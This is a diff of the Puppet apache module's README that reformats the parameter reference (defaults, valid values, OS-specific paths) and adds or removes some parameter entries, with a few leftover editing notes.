@@ -482,7 +507,14 @@ apache::vhost { 'subdomain.loc':
#### Configuring virtual hosts for apps and processors
-To set up a virtual host with [suPHP][], use the [`suphp_engine`][] parameter to enable the suPHP engine, [`suphp_addhandler`][] parameter to define a MIME type, [`suphp_configpath`][] to set which path suPHP passes to the PHP interpreter, and the [`directory`][] parameter to configure Directory, File, and Location directive blocks:
+To set up a virtual host with [suPHP][], use the following parameters:
+
+* [`suphp_engine`][], to enable the suPHP engine.
+* [`suphp_addhandler`][], to define a MIME type.
+* [`suphp_configpath`][], to set which path suPHP passes to the PHP interpreter.
+* [`directory`][], to configure Directory, File, and Location directive blocks.
+
+For example:
``` puppet
apache::vhost { 'suphp.example.com':
@@ -502,7 +534,7 @@ apache::vhost { 'suphp.example.com':
}
```
-You can use a set of parameters to configure a virtual host to use the [Web Server Gateway Interface][] (WSGI) for [Python][] applications:
+To configure a virtual host to use the [Web Server Gateway Interface][] (WSGI) for [Python][] applications, use the `wsgi` set of parameters:
``` puppet
apache::vhost { 'wsgi.example.com':
@@ -525,7 +557,7 @@ apache::vhost { 'wsgi.example.com':
}
```
-Starting in Apache 2.2.16, Apache supports [FallbackResource][], a simple replacement for common RewriteRules. You can set a FallbackResource using the [`fallbackresource`][] parameter:
+As of Apache 2.2.16, Apache supports [FallbackResource][], a simple replacement for common RewriteRules. You can set a FallbackResource using the [`fallbackresource`][] parameter:
``` puppet
apache::vhost { 'wordpress.example.com':
@@ -559,7 +591,7 @@ apache::vhost { 'rack.example.com':
#### Configuring IP-based virtual hosts
-You can configure [IP-based virtual hosts][] to listen on any port and have them respond to requests on specific IP addresses. In this example, we set the server to listen on ports 80 and 81 because the example virtual hosts are _not_ declared with a [`port`][] parameter:
+You can configure [IP-based virtual hosts][] to listen on any port and have them respond to requests on specific IP addresses. In this example, the server listens on ports 80 and 81, because the example virtual hosts are _not_ declared with a [`port`][] parameter:
``` puppet
apache::listen { '80': }
@@ -567,7 +599,7 @@ apache::listen { '80': }
apache::listen { '81': }
```
-Then we configure the IP-based virtual hosts with the [`ip_based`][] parameter:
+Configure the IP-based virtual hosts with the [`ip_based`][] parameter:
``` puppet
apache::vhost { 'first.example.com':
@@ -583,7 +615,9 @@ apache::vhost { 'second.example.com':
}
```
-You can also configure a mix of IP- and [name-based virtual hosts][], and in any combination of [SSL][SSL encryption] and unencrypted configurations. First, we add two IP-based virtual hosts on an IP address (in this example, 10.0.0.10). One uses SSL and the other is unencrypted:
+You can also configure a mix of IP- and [name-based virtual hosts][] in any combination of [SSL][SSL encryption] and unencrypted configurations.
+
+In this example, we add two IP-based virtual hosts on an IP address (in this example, 10.0.0.10). One uses SSL and the other is unencrypted:
``` puppet
apache::vhost { 'The first IP-based virtual host, non-ssl':
@@ -620,7 +654,7 @@ apache::vhost { 'third.example.com':
}
```
-To add name-based virtual hosts that answer on either 10.0.0.10 or 10.0.0.20, you **must** set the [`add_listen`][] parameter to false to disable the default Apache setting of `Listen 80`, as it conflicts with the preceding IP-based virtual hosts.
+To add name-based virtual hosts that answer on either 10.0.0.10 or 10.0.0.20, you **must** disable the Apache default `Listen 80`, as it conflicts with the preceding IP-based virtual hosts. To do this, set the [`add_listen`][] parameter to `false`:
``` puppet
apache::vhost { 'fourth.example.com':
@@ -734,7 +768,7 @@ apache::balancermember { "${::fqdn}-puppet00":
Then declare the `apache::balancer` and `apache::balancermember` defined types on the proxy server.
-If you need to use the [ProxySet](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset) directive on the balancer, use the [`proxy_set`](#proxy_set) parameter of `apache::balancer`:
+To use the [ProxySet](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset) directive on the balancer, use the [`proxy_set`](#proxy_set) parameter of `apache::balancer`:
``` puppet
apache::balancer { 'puppet01':
@@ -799,21 +833,25 @@ You can simply declare the default `apache` class:
class { 'apache': }
```
-You can establish a default virtual host in this class, by using the [`apache::vhost`][] defined type, or both. You can also configure additional specific virtual hosts with the [`apache::vhost`][] defined type. Puppet recommends customizing the `apache` class's declaration with the following parameters, as its default settings are not optimized for production.
-
-**Parameters within `apache`:**
-
##### `allow_encoded_slashes`
-Sets the server default for the [`AllowEncodedSlashes`][] declaration, which modifies the responses to URLs containing '\' and '/' characters. Valid options: 'on', 'off', 'nodecode'. Default: undef, which omits the declaration from the server's configuration and uses Apache's default setting of 'off'.
+Sets the server default for the [`AllowEncodedSlashes`][] declaration, which modifies the responses to URLs containing '\' and '/' characters. If not specified, this parameter omits the declaration from the server's configuration and uses Apache's default setting of 'off'.
+
+Values: 'on', 'off', 'nodecode'.
+
+Default: `undef`.
##### `apache_version`
-Configures module template behavior, package names, and default Apache modules by defining the version of Apache to use. Default: Determined by your operating system family and release via the [`apache::version`][] class. Puppet recommends against manually configuring this parameter without reason.
+Configures module template behavior, package names, and default Apache modules by defining the version of Apache to use. We do not recommend manually configuring this parameter without reason.
+
+Default: Depends on operating system and release version detected by the [`apache::version`][] class.
##### `conf_dir`
-Sets the directory where the Apache server's main configuration file is located. Default: Depends on your operating system.
+Sets the directory where the Apache server's main configuration file is located.
+
+Default: Depends on operating system.
- **Debian**: `/etc/apache2`
- **FreeBSD**: `/usr/local/etc/apache22`
@@ -822,11 +860,15 @@ Sets the directory where the Apache server's main configuration file is located.
##### `conf_template`
-Defines the [template][] used for the main Apache configuration file. Default: `apache/httpd.conf.erb`. Modifying this parameter is potentially risky, as the apache Puppet module is designed to use a minimal configuration file customized by `conf.d` entries.
+Defines the [template][] used for the main Apache configuration file. Modifying this parameter is potentially risky, as the apache module is designed to use a minimal configuration file customized by `conf.d` entries.
+
+Default: `apache/httpd.conf.erb`.
##### `confd_dir`
-Sets the location of the Apache server's custom configuration directory. Default: Depends on your operating system.
+Sets the location of the Apache server's custom configuration directory.
+
+Default: Depends on operating system.
- **Debian**: `/etc/apache2/conf.d`
- **FreeBSD**: `/usr/local/etc/apache22`
@@ -835,83 +877,104 @@ Sets the location of the Apache server's custom configuration directory. Default
##### `default_charset`
-Used as the [`AddDefaultCharset`][] directive in the main configuration file. Default: undef.
+Used as the [`AddDefaultCharset`][] directive in the main configuration file.
+
+Default: `undef`.
##### `default_confd_files`
-Determines whether Puppet generates a default set of includable Apache configuration files in the directory defined by the [`confd_dir`][] parameter. These configuration files correspond to what is typically installed with the Apache package on the server's operating system. Valid options: Boolean. Default: true.
+Determines whether Puppet generates a default set of includable Apache configuration files in the directory defined by the [`confd_dir`][] parameter. These configuration files correspond to what is typically installed with the Apache package on the server's operating system.
+
+Boolean. Default: `true`.
##### `default_mods`
-Determines whether to configure and enable a set of default [Apache modules][] depending on your operating system. Valid options: true, false, or an array of Apache module names. Default: true.
+Determines whether to configure and enable a set of default [Apache modules][] depending on your operating system.
-If this parameter's value is false, Puppet includes only the Apache modules required to make the HTTP daemon work on your operating system, and you can declare any other modules separately using the [`apache::mod::`][] class or [`apache::mod`][] defined type.
+If `false`, Puppet includes only the Apache modules required to make the HTTP daemon work on your operating system, and you can declare any other modules separately using the [`apache::mod::`][] class or [`apache::mod`][] defined type.
-If true, Puppet installs additional modules, the list of which depends on the operating system as well as the [`apache_version`][] and [`mpm_module`][] parameters' values. As these lists of modules can change frequently, consult the [Puppet module's code][] for up-to-date lists.
+If `true`, Puppet installs additional modules, depending on the operating system and the values of [`apache_version`][] and [`mpm_module`][] parameters. Because these lists of modules can change frequently, consult the [Puppet module's code][] for up-to-date lists.
If this parameter contains an array, Puppet instead enables all passed Apache modules.
+Values: Boolean or an array of Apache module names.
+
+Default: `true`.
+
##### `default_ssl_ca`
-Sets the default certificate authority for the Apache server. Default: undef.
+Sets the default certificate authority for the Apache server.
-While this default value results in a functioning Apache server, you **must** update this parameter with your certificate authority information before deploying this server in a production environment.
+Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate authority information before deploying this server in a production environment.
+
+Boolean. Default: `undef`.
##### `default_ssl_cert`
-Sets the [SSL encryption][] certificate location. Default: Determined by your operating system.
+Sets the [SSL encryption][] certificate location.
+
+Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate location before deploying this server in a production environment.
+
+Default: Depends on operating system.
- **Debian**: `/etc/ssl/certs/ssl-cert-snakeoil.pem`
- **FreeBSD**: `/usr/local/etc/apache22/server.crt`
- **Gentoo**: `/etc/ssl/apache2/server.crt`
- **Red Hat**: `/etc/pki/tls/certs/localhost.crt`
-While the default value results in a functioning Apache server, you **must** update this parameter with your certificate location before deploying this server in a production environment.
-
##### `default_ssl_chain`
-Sets the default [SSL chain][] location. Default: undef.
+Sets the default [SSL chain][] location.
-While this default value results in a functioning Apache server, you **must** update this parameter with your SSL chain before deploying this server in a production environment.
+Although this default value results in a functioning Apache server, you **must** update this parameter with your SSL chain before deploying this server in a production environment.
+
+Default: `undef`.
##### `default_ssl_crl`
-Sets the path of the default [certificate revocation list][] (CRL) file to use. Default: undef.
+Sets the path of the default [certificate revocation list][] (CRL) file to use.
-While this default value results in a functioning Apache server, you **must** update this parameter with your CRL file's path before deploying this server in a production environment. You can use this parameter with or in place of the [`default_ssl_crl_path`][].
+Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment. You can use this parameter with or in place of the [`default_ssl_crl_path`][].
+
+Default: `undef`.
##### `default_ssl_crl_path`
-Sets the server's [certificate revocation list path][], which contains your CRLs. Default: undef.
+Sets the server's [certificate revocation list path][], which contains your CRLs.
-While this default value results in a functioning Apache server, you **must** update this parameter with the CRL path before deploying this server in a production environment.
+Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment.
+
+Default: `undef`.
##### `default_ssl_crl_check`
-Sets the default certificate revocation check level via the [`SSLCARevocationCheck`][] directive. Default: undef.
+Sets the default certificate revocation check level via the [`SSLCARevocationCheck`][] directive. This parameter applies only to Apache 2.4 or higher and is ignored on older versions.
-While this default value results in a functioning Apache server, you **must** specify this parameter when using certificate revocation lists in a production environment.
+Although this default value results in a functioning Apache server, you **must** specify this parameter when using certificate revocation lists in a production environment.
-This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
+Default: `undef`.
##### `default_ssl_key`
-Sets the [SSL certificate key file][] location. Default: Determined by your operating system.
+Sets the [SSL certificate key file][] location.
+
+Although the default values result in a functioning Apache server, you **must** update this parameter with your SSL key's location before deploying this server in a production environment.
+
+Default: Depends on operating system.
- **Debian**: `/etc/ssl/private/ssl-cert-snakeoil.key`
- **FreeBSD**: `/usr/local/etc/apache22/server.key`
- **Gentoo**: `/etc/ssl/apache2/server.key`
- **Red Hat**: `/etc/pki/tls/private/localhost.key`
-While these default values result in a functioning Apache server, you **must** update this parameter with your SSL key's location before deploying this server in a production environment.
##### `default_ssl_vhost`
-Configures a default [SSL][SSL encryption] virtual host. Valid options: Boolean. Default: false.
+Configures a default [SSL][SSL encryption] virtual host.
-If true, Puppet automatically configures the following virtual host using the [`apache::vhost`][] defined type:
+If `true`, Puppet automatically configures the following virtual host using the [`apache::vhost`][] defined type:
-``` puppet
+```puppet
apache::vhost { 'default-ssl':
port => 443,
ssl => true,
@@ -924,27 +987,30 @@ apache::vhost { 'default-ssl':
> **Note**: SSL virtual hosts only respond to HTTPS queries.
+
+Boolean. Default: `false`.
+
##### `default_type`
-_Apache 2.2 only_. Sets the [MIME `content-type`][] sent if the server cannot otherwise determine an appropriate `content-type`. This directive is deprecated in Apache 2.4 and newer and only exists for backwards compatibility in configuration files. Default: undef.
+_Apache 2.2 only_. Sets the [MIME `content-type`][] sent if the server cannot otherwise determine an appropriate `content-type`. This directive is deprecated in Apache 2.4 and newer, and is only for backwards compatibility in configuration files.
+
+Default: `undef`.
##### `default_vhost`
-Configures a default virtual host when the class is declared. Valid options: Boolean. Default: true.
+Configures a default virtual host when the class is declared.
-To configure [customized virtual hosts][Configuring virtual hosts], set this parameter's value to false.
+To configure [customized virtual hosts][Configuring virtual hosts], set this parameter's value to `false`.
-> **Note**: Apache will not start without at least one virtual host. If you set this to false be sure to configure one elsewhere.
+> **Note**: Apache will not start without at least one virtual host. If you set this to `false` you must configure a virtual host elsewhere.
+
+Boolean. Default: `true`.
##### `dev_packages`
-Configures a specific dev package to use. Valid options: A string or array of strings. Default: Depends on the operating system.
+Configures a specific dev package to use.
-- **Red Hat:** 'httpd-devel'
-- **Debian 8/Ubuntu 13.10 or newer:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev']
-- **Older Debian/Ubuntu versions:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev']
-- **FreeBSD, Gentoo:** undef
-- **Suse:** ['libapr-util1-devel', 'libapr1-devel']
+Values: A string or array of strings.
Example for using httpd 2.4 from the IUS yum repo:
@@ -956,9 +1022,19 @@ class { 'apache':
}
```
+Default: Depends on operating system.
+
+- **Red Hat:** 'httpd-devel'
+- **Debian 8/Ubuntu 13.10 or newer:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev']
+- **Older Debian/Ubuntu versions:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev']
+- **FreeBSD, Gentoo:** `undef`
+- **Suse:** ['libapr-util1-devel', 'libapr1-devel']
+
##### `docroot`
-Sets the default [`DocumentRoot`][] location. Default: Determined by your operating system.
+Sets the default [`DocumentRoot`][] location.
+
+Default: Depends on operating system.
- **Debian**: `/var/www/html`
- **FreeBSD**: `/usr/local/www/apache22/data`
@@ -967,44 +1043,56 @@ Sets the default [`DocumentRoot`][] location. Default: Determined by your operat
##### `error_documents`
-Determines whether to enable [custom error documents][] on the Apache server. Valid options: Boolean. Default: false.
+Determines whether to enable [custom error documents][] on the Apache server.
+
+Boolean. Default: `false`.
##### `group`
Sets the group ID that owns any Apache processes spawned to answer requests.
-By default, Puppet attempts to manage this group as a resource under the `apache` class, determining the group based on the operating system as detected by the [`apache::params`][] class. To to prevent the group resource from being created and use a group created by another Puppet module, set the [`manage_group`][] parameter's value to false.
+By default, Puppet attempts to manage this group as a resource under the `apache` class, determining the group based on the operating system as detected by the [`apache::params`][] class. To to prevent the group resource from being created and use a group created by another Puppet module, set the [`manage_group`][] parameter's value to `false`.
> **Note**: Modifying this parameter only changes the group ID that Apache uses to spawn child processes to access resources. It does not change the user that owns the parent server process.
##### `httpd_dir`
-Sets the Apache server's base configuration directory. This is useful for specially repackaged Apache server builds but might have unintended consequences when combined with the default distribution packages. Default: Determined by your operating system.
+Sets the Apache server's base configuration directory. This is useful for specially repackaged Apache server builds but might have unintended consequences when combined with the default distribution packages.
+
+Default: Depends on operating system.
- **Debian**: `/etc/apache2`
- **FreeBSD**: `/usr/local/etc/apache22`
- **Gentoo**: `/etc/apache2`
- **Red Hat**: `/etc/httpd`
+##### http_protocol_options`
+
+Specifies the strictness of HTTP protocol checks. Valid options: any sequence of the following alternative values: `Strict` or `Unsafe`, `RegisteredMethods` or `LenientMethods`, and `Allow0.9` or `Require1.0`. Default '`Strict LenientMethods Allow0.9`'.
+
##### `keepalive`
-Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive. Valid options: 'Off', 'On'. Default: 'Off'.
+Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive. If you set this to 'On', use the [`keepalive_timeout`][] and [`max_keepalive_requests`][] parameters to set relevant options.
-If 'On', use the [`keepalive_timeout`][] and [`max_keepalive_requests`][] parameters to set relevant options.
+Values: 'Off', 'On'.
+
+Default: 'Off'.
##### `keepalive_timeout`
-Sets the [`KeepAliveTimeout`] directive, which determines the amount of time the Apache server waits for subsequent requests on a persistent HTTP connection. Default: '15'.
+Sets the [`KeepAliveTimeout`] directive, which determines the amount of time the Apache server waits for subsequent requests on a persistent HTTP connection. This parameter is only relevant if the [`keepalive` parameter][] is enabled.
-This parameter is only relevant if the [`keepalive` parameter][] is enabled.
+Default: '15'.
##### `max_keepalive_requests`
-Limits the number of requests allowed per connection when the [`keepalive` parameter][] is enabled. Default: '100'.
+Limits the number of requests allowed per connection when the [`keepalive` parameter][] is enabled.
+
+Default: '100'.
##### `lib_path`
-Specifies the location where [Apache module][Apache modules] files are stored. Default: Depends on the operating system.
+Specifies the location where [Apache module][Apache modules] files are stored. Default: Depends on operating system.
- **Debian** and **Gentoo**: `/usr/lib/apache2/modules`
- **FreeBSD**: `/usr/local/libexec/apache24`
@@ -1012,19 +1100,15 @@ Specifies the location where [Apache module][Apache modules] files are stored. D
> **Note**: Do not configure this parameter manually without special reason.
-##### `loadfile_name`
-
-Sets the [`LoadFile`] directive's filename. Valid options: Filenames in the format `\*.load`.
-
-This can be used to set the module load order.
-
##### `log_level`
-Changes the error log's verbosity. Valid options: 'alert', 'crit', 'debug', 'emerg', 'error', 'info', 'notice', 'warn'. Default: 'warn'.
+Changes the error log's verbosity. Values: 'alert', 'crit', 'debug', 'emerg', 'error', 'info', 'notice', 'warn'.
+
+Default: 'warn'.
##### `log_formats`
-Define additional [`LogFormat`][] directives. Valid options: A [hash][], such as:
+Define additional [`LogFormat`][] directives. Values: A [hash][], such as:
``` puppet
$log_formats = { vhost_common => '%v %h %l %u %t \"%r\" %>s %b' }
@@ -1044,7 +1128,9 @@ If your `log_formats` parameter contains one of those, it will be overwritten wi
##### `logroot`
-Changes the directory of Apache log files for the virtual host. Default: Determined by your operating system.
+Changes the directory of Apache log files for the virtual host.
+
+Default: Depends on operating system.
- **Debian**: `/var/log/apache2`
- **FreeBSD**: `/var/log/apache22`
@@ -1053,39 +1139,65 @@ Changes the directory of Apache log files for the virtual host. Default: Determi
##### `logroot_mode`
-Overrides the default [`logroot`][] directory's mode. Default: undef.
+Overrides the default [`logroot`][] directory's mode.
> **Note**: Do _not_ grant write access to the directory where the logs are stored without being aware of the consequences. See the [Apache documentation][Log security] for details.
+Default: `undef`.
+
##### `manage_group`
-When false, stops Puppet from creating the group resource. Valid options: Boolean. Default: true.
+When `false`, stops Puppet from creating the group resource.
-If you have a group created from another Puppet module that you want to use to run Apache, set this to false. Without this parameter, attempting to use a previously established group results in a duplicate resource error.
+If you have a group created from another Puppet module that you want to use to run Apache, set this to `false`. Without this parameter, attempting to use a previously established group results in a duplicate resource error.
+
+Boolean. Default: `true`.
+
+##### `supplementary_groups`
+
+A list of groups to which the user belongs. These groups are in addition to the primary group. Default: No additional groups.
+
+Notice: This option only has an effect when `manage_user` is set to true.
##### `manage_user`
-When false, stops Puppet from creating the user resource. Valid options: Boolean. Default: true.
+When `false`, stops Puppet from creating the user resource.
This is for instances when you have a user, created from another Puppet module, you want to use to run Apache. Without this parameter, attempting to use a previously established user would result in a duplicate resource error.
+Boolean. Default: `true`.
+
##### `mod_dir`
-Sets where Puppet places configuration files for your [Apache modules][]. Default: Determined by your operating system.
+Sets where Puppet places configuration files for your [Apache modules][].
+
+Default: Depends on operating system.
- **Debian**: `/etc/apache2/mods-available`
- **FreeBSD**: `/usr/local/etc/apache22/Modules`
- **Gentoo**: `/etc/apache2/modules.d`
- **Red Hat**: `/etc/httpd/conf.d`
+##### `mod_packages`
+
+Allows the user to override default module package names.
+
+```puppet
+include apache::params
+class { 'apache':
+ mod_packages => merge($::apache::params::mod_packages, {
+ 'auth_kerb' => 'httpd24-mod_auth_kerb',
+ })
+}
+```
+
+Hash. Default: `$apache::params::mod_packages`
+
##### `mpm_module`
-Determines which [multi-processing module][] (MPM) is loaded and configured for the HTTPD process. Valid options: 'event', 'itk', 'peruser', 'prefork', 'worker', or false. Default: Determined by your operating system.
+Determines which [multi-processing module][] (MPM) is loaded and configured for the HTTPD process. Values: 'event', 'itk', 'peruser', 'prefork', 'worker', or `false`.
-- **Debian**: 'worker'
-- **FreeBSD, Gentoo, and Red Hat**: 'prefork'
-
-You must set this to false to explicitly declare the following classes with custom parameters:
+You must set this to `false` to explicitly declare the following classes with custom parameters:
- [`apache::mod::event`][]
- [`apache::mod::itk`][]
@@ -1093,13 +1205,22 @@ You must set this to false to explicitly declare the following classes with cust
- [`apache::mod::prefork`][]
- [`apache::mod::worker`][]
+Default: Depends on operating system.
+
+- **Debian**: 'worker'
+- **FreeBSD, Gentoo, and Red Hat**: 'prefork'
+
##### `package_ensure`
-Controls the `package` resource's [`ensure`][] attribute. Valid options: 'absent', 'installed' (or the equivalent 'present'), or a version string. Default: 'installed'.
+Controls the `package` resource's [`ensure`][] attribute. Values: 'absent', 'installed' (or equivalent 'present'), or a version string.
+Default: 'installed'.
+
##### `pidfile`
-Allows settting a custom location for the pid file - useful if using a custom built Apache rpm. Default: Depends on operating system.
+Allows settting a custom location for the pid file. Useful if using a custom-built Apache rpm.
+
+Default: Depends on operating system.
- **Debian:** '\${APACHE_PID_FILE}'
- **FreeBSD:** '/var/run/httpd.pid'
@@ -1107,43 +1228,57 @@ Allows settting a custom location for the pid file - useful if using a custom bu
##### `ports_file`
-Sets the path to the file containing Apache ports configuration. Default: '{$conf_dir}/ports.conf'.
+Sets the path to the file containing Apache ports configuration.
+
+Default: '{$conf_dir}/ports.conf'.
##### `purge_configs`
-Removes all other Apache configs and virtual hosts. Valid options: Boolean. Default: true.
+Removes all other Apache configs and virtual hosts.
-Setting this to false is a stopgap measure to allow the apache Puppet module to coexist with existing or unmanaged configurations. We recommend moving your configuration to resources within this module. For virtual host configurations, see [`purge_vhost_dir`][].
+Setting this to `false` is a stopgap measure to allow the apache module to coexist with existing or unmanaged configurations. We recommend moving your configuration to resources within this module. For virtual host configurations, see [`purge_vhost_dir`][].
+
+Boolean. Default: `true`.
##### `purge_vhost_dir`
-If the [`vhost_dir`][] parameter's value differs from the [`confd_dir`][] parameter's, the Boolean parameter `purge_vhost_dir` determines whether Puppet removes any configurations inside `vhost_dir` _not_ managed by Puppet. Valid options: Boolean. Default: same as [`purge_configs`][].
+If the [`vhost_dir`][] parameter's value differs from the [`confd_dir`][] parameter's, this parameter determines whether Puppet removes any configurations inside `vhost_dir` that are _not_ managed by Puppet.
-Setting `purge_vhost_dir` to false is a stopgap measure to allow the apache Puppet module to coexist with existing or otherwise unmanaged configurations within `vhost_dir`.
+Setting `purge_vhost_dir` to `false` is a stopgap measure to allow the apache module to coexist with existing or otherwise unmanaged configurations within `vhost_dir`.
+
+Boolean. Default: same as [`purge_configs`][].
##### `rewrite_lock`
-Allows setting a custom location for a rewrite lock - considered best practice if using a RewriteMap of type prg in the [`rewrites`][] parameter of your virtual host. Default: undef.
+Allows setting a custom location for a rewrite lock - considered best practice if using a RewriteMap of type prg in the [`rewrites`][] parameter of your virtual host. This parameter only applies to Apache version 2.2 or lower and is ignored on newer versions.
-This parameter only applies to Apache version 2.2 or lower and is ignored on newer versions.
+Default: `undef`.
##### `sendfile`
-Forces Apache to use the Linux kernel's `sendfile` support to serve static files, via the [`EnableSendfile`][] directive. Valid options: 'On', 'Off'. Default: 'On'.
+Forces Apache to use the Linux kernel's `sendfile` support to serve static files, via the [`EnableSendfile`][] directive. Values: 'On', 'Off'.
+
+Default: 'On'.
##### `serveradmin`
-Sets the Apache server administrator's contact information via Apache's [`ServerAdmin`][] directive. Default: 'root@localhost'.
+Sets the Apache server administrator's contact information via Apache's [`ServerAdmin`][] directive.
+
+Default: 'root@localhost'.
##### `servername`
-Sets the Apache server name via Apache's [`ServerName`][] directive. Default: the 'fqdn' fact reported by [Facter][].
+Sets the Apache server name via Apache's [`ServerName`][] directive.
-Setting to false will not set ServerName at all.
+Setting to `false` will not set ServerName at all.
+
+Default: the 'fqdn' fact reported by [Facter][].
##### `server_root`
-Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive. Default: determined by your operating system.
+Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive.
+
+Default: Depends on operating system.
- **Debian**: `/etc/apache2`
- **FreeBSD**: `/usr/local`
@@ -1152,25 +1287,35 @@ Sets the Apache server's root directory via Apache's [`ServerRoot`][] directive.
##### `server_signature`
-Configures a trailing footer line to display at the bottom of server-generated documents, such as error documents and output of certain [Apache modules][], via Apache's [`ServerSignature`][] directive. Valid options: 'Off', 'On'. Default: 'On'.
+Configures a trailing footer line to display at the bottom of server-generated documents, such as error documents and output of certain [Apache modules][], via Apache's [`ServerSignature`][] directive. Values: 'Off', 'On'.
+
+Default: 'On'.
##### `server_tokens`
-Controls how much information Apache sends to the browser about itself and the operating system, via Apache's [`ServerTokens`][] directive. Default: 'OS'.
+Controls how much information Apache sends to the browser about itself and the operating system, via Apache's [`ServerTokens`][] directive.
+
+Default: 'OS'.
##### `service_enable`
-Determines whether Puppet enables the Apache HTTPD service when the system is booted. Valid options: Boolean. Default: true.
+Determines whether Puppet enables the Apache HTTPD service when the system is booted.
+
+Boolean. Default: `true`.
##### `service_ensure`
-Determines whether Puppet should make sure the service is running. Valid options: 'true' (equivalent to 'running'), 'false' (equivalent to 'stopped'). Default: 'running'.
+Determines whether Puppet should make sure the service is running. Values: `true` (or 'running'), `false` (or 'stopped').
-The 'false' or 'stopped' values set the 'httpd' service resource's `ensure` parameter to 'false', which is useful when you want to let the service be managed by another application, such as Pacemaker.
+The `false` or 'stopped' values set the 'httpd' service resource's `ensure` parameter to `false`, which is useful when you want to let the service be managed by another application, such as Pacemaker.
+
+Default: 'running'.
##### `service_name`
-Sets the name of the Apache service. Default: determined by your operating system.
+Sets the name of the Apache service.
+
+Default: Depends on operating system.
- **Debian and Gentoo**: 'apache2'
- **FreeBSD**: 'apache22'
@@ -1178,39 +1323,62 @@ Sets the name of the Apache service. Default: determined by your operating syste
##### `service_manage`
-Determines whether Puppet manages the HTTPD service's state. Valid options: Boolean. Default: true.
+Determines whether Puppet manages the HTTPD service's state.
+
+Boolean. Default: `true`.
##### `service_restart`
-Determines whether Puppet should use a specific command to restart the HTTPD service. Valid options: a command to restart the Apache service. Default: undef, which uses the [default Puppet behavior][Service attribute restart].
+Determines whether Puppet should use a specific command to restart the HTTPD service.
+
+Values: a command to restart the Apache service. The default setting uses the [default Puppet behavior][Service attribute restart].
+
+Default: `undef`.
+
+##### `ssl_ca`
+
+Specifies the SSL certificate authority. [SSLCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcacertificatefile). Default: undef. It is possible to override this on a vhost level.
+
+
+
+
+
+
+
-##### `ssl_stapling`
-Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). Valid options: Boolean. Default: false. It is possible to override this on a vhost level.
-This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
-##### `ssl_stapling_return_errors`
-Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. No default. It is possible to override this on a vhost level.
-This parameter only applies to Apache 2.4 or higher and is ignored on older versions.
##### `timeout`
-Sets Apache's [`TimeOut`][] directive, which defines the number of seconds Apache waits for certain events before failing a request. Default: 120.
+Sets Apache's [`TimeOut`][] directive, which defines the number of seconds Apache waits for certain events before failing a request.
+
+Default: 120.
##### `trace_enable`
-Controls how Apache handles `TRACE` requests (per [RFC 2616][]) via the [`TraceEnable`][] directive. Valid options: 'Off', 'On'. Default: 'On'.
+Controls how Apache handles `TRACE` requests (per [RFC 2616][]) via the [`TraceEnable`][] directive.
+
+Values: 'Off', 'On'.
+
+Default: 'On'.
##### `use_systemd`
-Controls whether the systemd module should be installed on Centos 7 servers, this is especially useful if using custom-built RPMs. Valid options: Boolean. Default: true.
+Controls whether the systemd module should be installed on Centos 7 servers, this is especially useful if using custom-built RPMs.
+
+Boolean. Default: `true`.
##### `file_mode`
-Sets the desired permissions mode for config files, in symbolic or numeric notation. Valid options: A string. Default: '0644'.
+Sets the desired permissions mode for config files.
+
+Values: A string, with permissions mode in symbolic or numeric notation.
+
+Default: '0644'.
##### `root_directory_options`
@@ -1218,11 +1386,15 @@ Array of the desired options for the / directory in httpd.conf. Defaults to 'Fol
##### `root_directory_secured`
-Sets the default access policy for the / directory in httpd.conf. A value of 'false' allows access to all resources that are missing a more specific access policy. A value of 'true' denies access to all resources by default. In this case more specific rules must be used to allow access to these resources (e.g. in a directory block using the [`directories`](#parameter-directories-for-apachevhost) parameter). Valid options: Boolean. Default: false.
+Sets the default access policy for the / directory in httpd.conf. A value of `false` allows access to all resources that are missing a more specific access policy. A value of `true` denies access to all resources by default. If `true`, more specific rules must be used to allow access to these resources (for example, in a directory block using the [`directories`](#parameter-directories-for-apachevhost) parameter).
+
+Boolean. Default: `false`.
##### `vhost_dir`
-Changes your virtual host configuration files' location. Default: determined by your operating system.
+Changes your virtual host configuration files' location.
+
+Default: Depends on operating system:
- **Debian**: `/etc/apache2/sites-available`
- **FreeBSD**: `/usr/local/etc/apache22/Vhosts`
@@ -1231,17 +1403,19 @@ Changes your virtual host configuration files' location. Default: determined by
##### `vhost_include_pattern`
-Defines the pattern for files included from the `vhost_dir`. Default: '*', also for BC with previous versions of this module.
+Defines the pattern for files included from the `vhost_dir`.
-However, you might want to set this to a value like '[^.#]\*.conf[^~]' to make sure files accidentally created in this directory (such as files created by version control systems or editor backups) are *not* included in your server configuration.
+If set to a value like `[^.#]\*.conf[^~]` to make sure that files accidentally created in this directory (such as files created by version control systems or editor backups) are *not* included in your server configuration.
-Some operating systems ship with a value of '*.conf'. Also note that this module will, by default, create configuration files ending in '.conf'.
+Default: '*', also for BC with previous versions of this module. TODO: what does "also for BC" mean?
+
+Some operating systems use a value of `*.conf`. By default, this module creates configuration files ending in `.conf`.
##### `user`
-Changes the user Apache uses to answer requests. Apache's parent process will continue to be run as root, but child processes will access resources as the user defined by this parameter.
+Changes the user that Apache uses to answer requests. Apache's parent process continues to run as root, but child processes access resources as the user defined by this parameter. To prevent Puppet from managing the user, set the [`manage_user`][] parameter to `false`.
-Default: Puppet sets the default value via the [`apache::params`][] class, which manages the user based on your operating system:
+Default: Depends on the user set by [`apache::params`][] class, based on your operating system:
- **Debian**: 'www-data'
